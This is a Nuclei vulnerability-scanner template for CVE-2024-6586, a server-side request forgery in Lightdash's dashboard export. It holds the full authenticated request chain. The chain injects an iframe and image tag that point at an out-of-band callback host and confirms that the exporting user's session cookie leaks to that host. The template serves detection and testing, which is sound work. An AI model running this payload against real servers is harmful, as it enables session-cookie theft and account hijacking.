id: CVE-2024-6586

info:
  name: Lightdash v0.1024.6 - Server-Side Request Forgery
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    Server-Side Request Forgery (“SSRF”) in the export dashboard functionality of Lightdash version 0.1024.6 allows remote authenticated threat actors to obtain the session cookie of any user who exports a crafted dashboard. When they are exported, dashboards containing HTML elements can trigger HTTP requests to an external domain that contain the exporting user’s session cookie. The cookie could be stolen by a threat actor and used to hijack application user sessions.
  reference:
    - https://github.com/google/security-research/security/advisories/GHSA-4h7x-6vxh-7hjf
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6586
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
    cvss-score: 7.3
    cve-id: CVE-2024-6586
    cwe-id: CWE-201
    cpe: cpe:2.3:a:lightdash:lightdash:*:*:*:*:*:*:*:*
  metadata:
    max-request: 5
    verified: true
    shodan-query: title:"Lightdash"
    vendor: lightdash
    product: lightdash
  tags: cve,cve2024,lightdash,ssrf,oast,authenticated

flow: http(1) && http(2) && http(3) && http(4) && http(5)

variables:
  username: "{{username}}"
  password: "{{password}}"

http:
  - raw:
      - |
        POST /api/v1/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"email":"{{username}}","password":"{{password}}"}

  - raw:
      - |
        GET /api/v1/org/projects HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: json
        name: projectuuid
        part: body
        json:
          - '.results[0].projectUuid'
        internal: true

  - raw:
      - |
        POST /api/v1/projects/{{projectuuid}}/dashboards HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":"Test","description":"Test","tiles":[]}

    extractors:
      - type: json
        name: dashuuid
        part: body
        json:
          - '.results.uuid'
        internal: true

  - raw:
      - |
        PATCH /api/v1/dashboards/{{dashuuid}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"tiles":[{"uuid":"00000000-0000-0000-0000-000000000000","x":0,"y":0,"h":9,"w":15,"type":"markdown","properties":{"title":"title","hideTitle":false,"content":"<iframe src=\"http://{{interactsh-url}}\">frame</iframe>\n\n<img src=\"http://{{interactsh-url}}\">img</img>\n"}}],"filters":{"dimensions":[],"metrics":[],"tableCalculations":[]},"name":"my dashboard"}

    matchers:
      - type: word
        part: body
        words:
          - '"status":"ok"'
        internal: true

  - raw:
      - |
        POST /api/v1/dashboards/{{dashuuid}}/export HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"queryFilters":"","gridWidth":1400}

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "http")'
          - 'contains(interactsh_request, "connect.sid=")'
          - 'contains(body, "status\":\"ok")'
        condition: and
# digest: 490a0046304402203501a2e9b61fc6407a2b8af2d9608911e8d62299b4d0110fcb68aaee141b214c02204ebebd65520e307896a190c2dc05563006d67f1b70150846e7c3809d944e886c:922c64590222798bb761d5b6d8e72950